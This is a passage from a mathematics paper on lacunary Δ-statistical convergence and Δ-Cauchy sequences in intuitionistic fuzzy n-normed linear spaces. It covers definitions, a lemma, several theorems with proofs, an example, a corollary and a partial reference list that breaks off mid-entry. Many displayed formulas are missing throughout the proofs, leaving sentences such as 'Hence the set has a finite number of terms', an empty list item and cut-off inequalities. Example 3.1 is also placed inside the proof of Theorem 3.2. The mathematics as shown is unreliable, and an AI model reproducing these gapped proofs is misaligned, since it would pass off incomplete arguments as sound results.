${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in X$, there exists ${k}_{0}\\in \\mathbb{N}$ such that $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)>1-\\epsilon$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)<\\epsilon$ for all $k\\ge {k}_{0}$, where $k\\in \\mathbb{N}$ and $\\mathrm{\\Delta }{x}_{k}=\\left({x}_{k}-{x}_{k+1}\\right)$. It is denoted by ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}lim\\mathrm{\\Delta }x=L$ or $\\mathrm{\\Delta }{x}_{k}\\to L$ as $k\\to \\mathrm{\\infty }$.\n\nDefinition 3.2 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. A sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is said to be lacunary Δ-statistically convergent or ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-convergent to $L\\in X$ with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ provided that for every $\\epsilon >0$, $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$,\n\nor, equivalently,\n\nIt is denoted by ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$ or ${x}_{k}\\to L\\left({S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\right)$. Using Definition 3.2 and properties of the θ-density, we can easily obtain the following lemma.\n\nLemma 3.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS and θ be a lacunary sequence. Then, for every $\\epsilon >0$, $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, the following statements are equivalent:\n\n1. (i)\n\n${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$,\n\n2. (ii)\n\n${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)\\le 1-\\epsilon \\right\\}\\right)={\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)\\ge \\epsilon \\right\\}\\right)=0$,\n\n3. (iii)\n\n,\n\n4. (iv)\n\n${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)>1-\\epsilon \\right\\}\\right)={\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)<\\epsilon \\right\\}\\right)=1$,\n\n5. (v)\n\n${S}_{\\theta }\\text{-}lim\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)=1$ and ${S}_{\\theta }\\text{-}lim\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)=0$.\n\nProceeding exactly in a similar way as in , the following theorem can be proved.\n\nTheorem 3.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS and θ be a lacunary sequence. If a sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is lacunary Δ-statistically convergent or ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-convergent to $L\\in X$ with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$, ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx$ is unique.\n\nTheorem 3.2 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS and θ be a lacunary sequence. If ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}lim\\mathrm{\\Delta }x=L$, then ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$.\n\nProof Let ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}lim\\mathrm{\\Delta }x=L$. Then, for every $\\epsilon >0$, $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, there exists ${k}_{0}\\in \\mathbb{N}$ such that $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)>1-\\epsilon$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)<\\epsilon$ for all $k\\ge {k}_{0}$. Hence the set\n\nhas a finite number of terms. Since every finite subset of has lacunary density zero,\n\nthat is, ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$.\n\nIt follows from the following example that the converse of Theorem 3.2 is not true in general.\n\nExample 3.1 Consider $X={\\mathbb{R}}^{n}$ with\n\n$\\parallel {x}_{1},{x}_{2},\\dots ,{x}_{n}\\parallel =abs\\left(|\\begin{array}{lll}{x}_{11}& \\cdots & {x}_{1n}\\\\ ⋮& \\ddots & ⋮\\\\ {x}_{n1}& \\cdots & {x}_{nn}\\end{array}|\\right),$\n\nwhere ${x}_{i}=\\left({x}_{i1},{x}_{i2},\\dots ,{x}_{in}\\right)\\in {\\mathbb{R}}^{n}$ for each $i=1,2,\\dots ,n$, and let $a\\ast b=ab$, $a\\circ b=min\\left\\{a+b,1\\right\\}$ for all $a,b\\in \\left[0,1\\right]$. Now, for all ${y}_{1},{y}_{2},\\dots ,{y}_{n-1},x\\in {\\mathbb{R}}^{n}$ and $t>0$, $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},x,t\\right)=\\frac{t}{t+\\parallel {y}_{1},{y}_{2},\\dots ,{y}_{n-1},x\\parallel }$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},x,t\\right)=\\frac{\\parallel {y}_{1},{y}_{2},\\dots ,{y}_{n-1},x\\parallel }{t+\\parallel {y}_{1},{y}_{2},\\dots ,{y}_{n-1},x\\parallel }$. Then $\\left({\\mathbb{R}}^{n},\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ is an IFnNLS. Let ${I}_{r}$ and ${h}_{r}$ be as defined in Definition 2.5. Define a sequence $x=\\left\\{{x}_{k}\\right\\}$ whose terms are given by\n\nsuch that\n\nFor every $0<\\epsilon <1$ and for any ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in X$, $t>0$, let\n\nNow,\n\n$\\begin{array}{rl}K\\left(\\epsilon ,t\\right)& =\\left\\{k\\in {I}_{r}:\\parallel {y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}\\parallel \\ge \\frac{\\epsilon t}{1-\\epsilon }>0\\right\\}\\\\ \\subseteq \\left\\{k\\in {I}_{r}:\\mathrm{\\Delta }{x}_{k}=\\left(k,0,\\dots ,0\\right)\\in {\\mathbb{R}}^{n}\\right\\}.\\end{array}$\n\nThus we have $\\frac{1}{{h}_{r}}|\\left\\{k\\in {I}_{r}:k\\in K\\left(\\epsilon ,t\\right)\\right\\}|\\le \\frac{\\left[\\sqrt{{h}_{r}}\\right]}{{h}_{r}}\\to 0$ as $r\\to \\mathrm{\\infty }$. Hence ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=0$.\n\nOn the other hand, $x=\\left\\{{x}_{k}\\right\\}$ in X is not Δ-convergent to 0 with respect to the intuitionistic fuzzy n-norm since\n\nand\n\nThis completes the proof of the theorem. □\n\nTheorem 3.3 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. Then ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$ if and only if there exists an increasing sequence $K=\\left\\{{k}_{n}\\right\\}$ of the natural numbers such that ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\right)=1$ and ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}{lim}_{k\\in K}\\mathrm{\\Delta }{x}_{k}=L$.\n\nProof Necessity. Suppose that ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$. Then, for every ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, $t>0$ and $j=1,2,\\dots$ ,\n\nThen ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(M\\left(j,t\\right)\\right)=0$ since\n\n$K\\left(j,t\\right)\\supset K\\left(j+1,t\\right)$\n(3.1)\n\nand\n\n${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\left(j,t\\right)\\right)=1$\n(3.2)\n\nfor $t>0$ and $j=1,2,\\dots$ . Now we have to show that for $k\\in K\\left(j,t\\right)$ suppose that for some $k\\in K\\left(j,t\\right)$, $x=\\left\\{{x}_{k}\\right\\}$ not Δ-convergent to L with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$. Therefore there is $\\alpha >0$ and a positive integer ${k}_{0}$ such that $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)\\le 1-\\alpha$ or $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)\\ge \\alpha$ for all $k\\ge {k}_{0}$. Let $\\alpha >\\frac{1}{j}$ and\n\nThen ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\left(\\alpha ,t\\right)\\right)=0$. Since $\\alpha >\\frac{1}{j}$, by (3.1) we have ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\left(j,t\\right)\\right)=0$, which contradicts by equation (3.2).\n\nSufficiency. Suppose that there exists an increasing sequence $K=\\left\\{{k}_{n}\\right\\}$ of the natural numbers such that ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\right)=1$ and ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}{lim}_{k\\in K}\\mathrm{\\Delta }{x}_{k}=L$, i.e., for every ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, $\\epsilon >0$ and $t>0$, there exists ${n}_{0}\\in \\mathbb{N}$ such that $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)>1-\\epsilon$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)<\\epsilon$.\n\nLet\n\nand consequently ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(M\\left(\\epsilon ,t\\right)\\right)\\le 1-1=0$. Hence ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$. This completes proof of the theorem. □\n\nTheorem 3.4 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. Then ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$ if and only if there exist a convergent sequence $y=\\left\\{{y}_{k}\\right\\}$ and a lacunary Δ-statistically null sequence $z=\\left\\{{z}_{k}\\right\\}$ with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ such that ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}limy=L$, $\\mathrm{\\Delta }x=y+\\mathrm{\\Delta }z$ and ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mathrm{\\Delta }{z}_{k}=0\\right\\}\\right)=1$.\n\nProof Necessity. Suppose that ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$ and\n\nUsing Theorem 3.3 for any ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in X$, $t>0$ and $j\\in \\mathbb{N}$, we can construct an increasing index sequence $\\left\\{{r}_{j}\\right\\}$ of the natural numbers such that ${r}_{j}\\in K\\left(j,t\\right)$, ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\left(j,t\\right)\\right)=1$, and so we can conclude that for all $r>{r}_{j}$ ($j\\in \\mathbb{N}$),\n\nWe define $y=\\left\\{{y}_{k}\\right\\}$ and $z=\\left\\{{z}_{k}\\right\\}$ as follows. If $1, we set ${y}_{k}=\\mathrm{\\Delta }{x}_{k}$ and ${z}_{k}=0$. Now suppose that $j\\ge 1$ and ${r}_{j}. If $k\\in K\\left(j,t\\right)$, i.e., $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)>1-\\frac{1}{j}$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t\\right)<\\frac{1}{j}$, we set ${y}_{k}=\\mathrm{\\Delta }{x}_{k}$ and $\\mathrm{\\Delta }{z}_{k}=0$. Otherwise ${y}_{k}=L$ and $\\mathrm{\\Delta }{z}_{k}=\\mathrm{\\Delta }{x}_{k}-L$. Hence it is clear that $\\mathrm{\\Delta }x=y+\\mathrm{\\Delta }z$.\n\nWe claim that ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}limy=L$. Let $\\epsilon >\\frac{1}{j}$. If $k\\in K\\left(j,t\\right)$ for all $k>{r}_{j}$, $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},{y}_{k}-L,t\\right)>1-\\epsilon$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},{y}_{k}-L,t\\right)<\\epsilon$. Since ε was arbitrary, we have proved the claim.\n\nNext we claim that $z=\\left\\{{z}_{k}\\right\\}$ is a lacunary Δ-statistically null sequence with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$, i.e., ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limz=0$. It suffices to see that ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mathrm{\\Delta }{z}_{k}=0\\right\\}\\right)=1$ to prove the claim. This follows from observing that\n\nfor any $r\\in \\mathbb{N}$ and $\\epsilon >0$.\n\nWe show that if $\\delta >0$ and $j\\in \\mathbb{N}$ such that $\\frac{1}{j}<\\delta$, then\n\n$\\frac{1}{{h}_{r}}|\\left\\{k\\in {I}_{r}:\\mathrm{\\Delta }{z}_{k}=0\\right\\}|>1-\\delta$\n\nfor all $r>{r}_{j}$. Recall from the construction that if $k\\in K\\left(j,t\\right)$, then $\\mathrm{\\Delta }{z}_{k}=0$ for ${r}_{j}.\n\nNow, for $t>0$ and $s\\in \\mathbb{N}$, let\n\nFor $s>j$ and ${r}_{s} by (3.2),\n\nConsequently, if ${r}_{s} and $s>j$, then\n\nHence we get ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mathrm{\\Delta }{z}_{k}=0\\right\\}\\right)=1$, which establishes the claim.\n\nSufficiency. Let x, y and z be sequences such that ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}limy=L$, $\\mathrm{\\Delta }x=y+\\mathrm{\\Delta }z$ and ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mathrm{\\Delta }{z}_{k}=0\\right\\}\\right)=1$. Then, for any ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in X$, $\\epsilon >0$ and $t>0$, we have\n\nTherefore\n\nSince ${\\left(\\mu ,\\upsilon \\right)}^{n}\\text{-}limy=L$, the set\n\ncontains at most finitely many terms and thus\n\nAlso by hypothesis, ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(\\left\\{k\\in \\mathbb{N}:\\mathrm{\\Delta }{z}_{k}\\ne 0\\right\\}\\right)$. Hence,\n\nand consequently ${{S}_{\\theta }}^{{\\left(\\mu ,\\upsilon \\right)}^{n}}\\left(\\mathrm{\\Delta }\\right)\\text{-}limx=L$. □\n\n## 4 Δ-Cauchy and lacunary Δ-statistically Cauchy sequences in IFnNLS\n\nIn this section, we introduce the notion of Cauchy sequences and lacunary statistically Cauchy sequences in IFnNLS.\n\nDefinition 4.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. A sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is said to be Δ-Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ if, for every $\\epsilon >0$, $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, there exists ${k}_{0}\\in \\mathbb{N}$ such that $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{m},t\\right)>1-\\epsilon$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{m},t\\right)<\\epsilon$ for all $k,m\\ge {k}_{0}$.\n\nDefinition 4.2 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. A sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is said to be lacunary Δ-statistically Cauchy or ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ if, for every $\\epsilon >0$, $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$, there exists a number $m\\in \\mathbb{N}$ satisfying\n\nTheorem 4.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS. If a sequence $x=\\left\\{{x}_{k}\\right\\}$ in X is lacunary Δ-statistically convergent with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$ if and only if it is lacunary Δ-statistically Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$.\n\nProof Let $x=\\left\\{{x}_{k}\\right\\}$ be a lacunary Δ-statistically convergent sequence which converges to L. For a given $\\epsilon >0$, choose $s>0$ such that $\\left(1-\\epsilon \\right)\\ast \\left(1-\\epsilon \\right)>1-s$ and $\\epsilon \\circ \\epsilon . Let\n\nThen, for any $t>0$ and ${y}_{1},{y}_{2},\\dots ,{y}_{n-1}\\in \\mathbb{X}$,\n\n${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(A\\left(\\epsilon ,t\\right)\\right)=0,$\n(4.1)\n\nwhich implies that ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left({A}^{c}\\left(\\epsilon ,t\\right)\\right)=1$.\n\nLet $q\\in {A}^{c}\\left(\\epsilon ,t\\right)$. Then\n\n$\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)>1-\\epsilon$\n\nand\n\n$\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)<\\epsilon .$\n\nNow, let\n\nWe need to show that $B\\left(s,t\\right)\\subset A\\left(\\epsilon ,t\\right)$. Let $k\\in B\\left(s,t\\right)\\cap {A}^{c}\\left(\\epsilon ,t\\right)$. Hence $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{q},t\\right)\\le 1-s$ and $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)>1-\\epsilon$, in particular, $\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)>1-\\epsilon$. Then\n\n$\\begin{array}{rl}1-s& \\ge \\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{q},t\\right)\\\\ \\ge \\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)\\ast \\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)\\\\ >\\left(1-\\epsilon \\right)\\ast \\left(1-\\epsilon \\right)>1-s,\\end{array}$\n\nwhich is not possible. On the other hand, $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{q},t\\right)\\ge s$ and $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)<\\epsilon$, in particular, $\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)<\\epsilon$. Hence,\n\n$\\begin{array}{rl}s& \\le \\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{q},t\\right)\\\\ \\le \\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)\\circ \\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)\\\\ <\\epsilon \\circ \\epsilon\n\nwhich is not possible. Hence $B\\left(s,t\\right)\\subset A\\left(\\epsilon ,t\\right)$ and by (4.1) ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(B\\left(\\epsilon ,t\\right)\\right)=0$. This proves that x is lacunary Δ-statistically Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$.\n\nConversely, let $x=\\left\\{{x}_{k}\\right\\}$ be lacunary Δ-statistically Cauchy but not lacunary Δ-statistically convergent with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$. For a given $\\epsilon >0$, choose $s>0$ such that $\\left(1-\\epsilon \\right)\\ast \\left(1-\\epsilon \\right)>1-s$ and $\\epsilon \\circ \\epsilon . Since x is not lacunary Δ-convergent\n\n$\\begin{array}{c}\\begin{array}{r}\\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{m},t\\right)\\\\ \\phantom{\\rule{1em}{0ex}}\\ge \\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)\\ast \\mu \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)\\\\ \\phantom{\\rule{1em}{0ex}}>\\left(1-\\epsilon \\right)\\ast \\left(1-\\epsilon \\right)>1-s,\\end{array}\\hfill \\\\ \\begin{array}{r}\\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-\\mathrm{\\Delta }{x}_{m},t\\right)\\\\ \\phantom{\\rule{1em}{0ex}}\\le \\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{k}-L,t/2\\right)\\circ \\upsilon \\left({y}_{1},{y}_{2},\\dots ,{y}_{n-1},\\mathrm{\\Delta }{x}_{q}-L,t/2\\right)\\\\ \\phantom{\\rule{1em}{0ex}}<\\epsilon \\circ \\epsilon\n\nTherefore ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left({E}^{c}\\left(s,t\\right)\\right)=0$, where\n\nand so ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(E\\left(s,t\\right)\\right)=1$, which is a contradiction, since x was lacunary Δ-statistically Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$. So, x must be lacunary Δ-statistically convergent with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$. □\n\nCorollary 4.1 Let $\\left(X,\\mu ,\\upsilon ,\\ast ,\\circ \\right)$ be an IFnNLS and θ be a lacunary sequence. Then, for any sequence $x=\\left\\{{x}_{k}\\right\\}$ in X, the following conditions are equivalent:\n\n1. (i)\n\nx is ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-convergent with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$.\n\n2. (ii)\n\nx is ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$.\n\n3. (iii)\n\nThere exists an increasing sequence $K=\\left\\{{k}_{n}\\right\\}$ of the natural numbers such that ${\\delta }_{\\theta }\\left(\\mathrm{\\Delta }\\right)\\left(K\\right)=1$ and the subsequence $\\left\\{{x}_{{k}_{n}}\\right\\}$ is ${S}_{\\theta }\\left(\\mathrm{\\Delta }\\right)$-Cauchy with respect to the intuitionistic fuzzy n-norm ${\\left(\\mu ,\\upsilon \\right)}^{n}$.\n\n## References\n\n1. Zadeh LA: Fuzzy sets. Inf. Control 1965, 8: 338-353. 10.1016/S0019-9958(65)90241-X\n\n2. Hong L, Sun JQ: Bifurcations of fuzzy nonlinear dynamical systems. Commun. Nonlinear Sci. Numer. Simul. 2006, 1: 1-12.\n\n3. Barros LC, Bassanezi RC, Tonelli PA: Fuzzy modelling in population dynamics. Ecol. Model. 2000, 128: 27-33. 10.1016/S0304-3800(99)00223-9\n\n4. Madore J: Fuzzy physics. Ann. Phys. 1992, 219: 187-198. 10.1016/0003-4916(92)90316-E\n\n5. Erceg MA: Metric spaces in fuzzy set theory. J. Math. Anal. Appl. 1979, 69: 205-230. 10.1016/0022-247X(79)90189-6\n\n6. George A, Veeramani P: On some result in fuzzy metric space. Fuzzy Sets Syst. 1994, 64: 395-399. 10.1016/0165-0114(94)90162-7\n\n7. Kaleva O, Seikkala S: On fuzzy metric spaces. Fuzzy Sets Syst. 1984, 12: 215-229. 10.1016/0165-0114(84)90069-1\n\n8. Jäger G: Fuzzy uniform convergence and equicontinuity. Fuzzy Sets Syst. 2000, 109: 187-198. 10.1016/S0165-0114(97)00400-4\n\n9. Wu K: Convergences of fuzzy sets based on decomposition theory and fuzzy polynomial function. Fuzzy Sets Syst. 2000, 109: 173-185. 10.1016/S0165-0114(98)00060-8\n\n10. Anastassiou GA: Fuzzy approximation by fuzzy convolution type operators. Comput. Math. Appl. 2004, 48: 1369-1386. 10.1016/j.camwa.2004.10.027\n\n11. Gähler S: Lineare 2-normietre Räume. Math. Nachr. 1965, 28: 1-43.\n\n12. Gähler S: Untersuchungen über verallgemeinerte m -metrische Räume. I. Math. Nachr. 1969, 40: 165-189. 10.1002/mana.19690400114\n\n13. Kim SS, Cho YJ: Strict convexity in linear n -normed spaces. Demonstr. Math. 1996, 29: 739-744.\n\n14. Malceski R: Strong n -convex n -normed spaces. Mat. Bilt. 1997, 21: 81-102.\n\n15. Gunawan H, Mashadi M: On n -normed spaces. Int. J. Math. Sci. 2001, 27: 631-639. 10.1155/S0161171201010675\n\n16. Vijayabalaji S, Narayanan A: Fuzzy n -normed linear space. J. Math. Sci. 2005, 24: 3963-3977.\n\n17. Saadati R, Park JH: Intuitionistic fuzzy Euclidean normed spaces. Commun. Math. Anal. 2006, 12: 85-90.\n\n18. Vijayabalaji S, Thillaigovindan N, Jun YB: Intuitionistic fuzzy n -normed linear space. Bull. Korean Math. Soc. 2007, 44: 291-308. 10.4134/BKMS.2007.44.2.291\n\n19. Steinhaus H: Sur la convergence ordinaire et la convergence asymptotique. Colloq. Math. 1951, 2: 73-74.\n\n20. Fast H: Sur la convergence statistique. Colloq. Math. 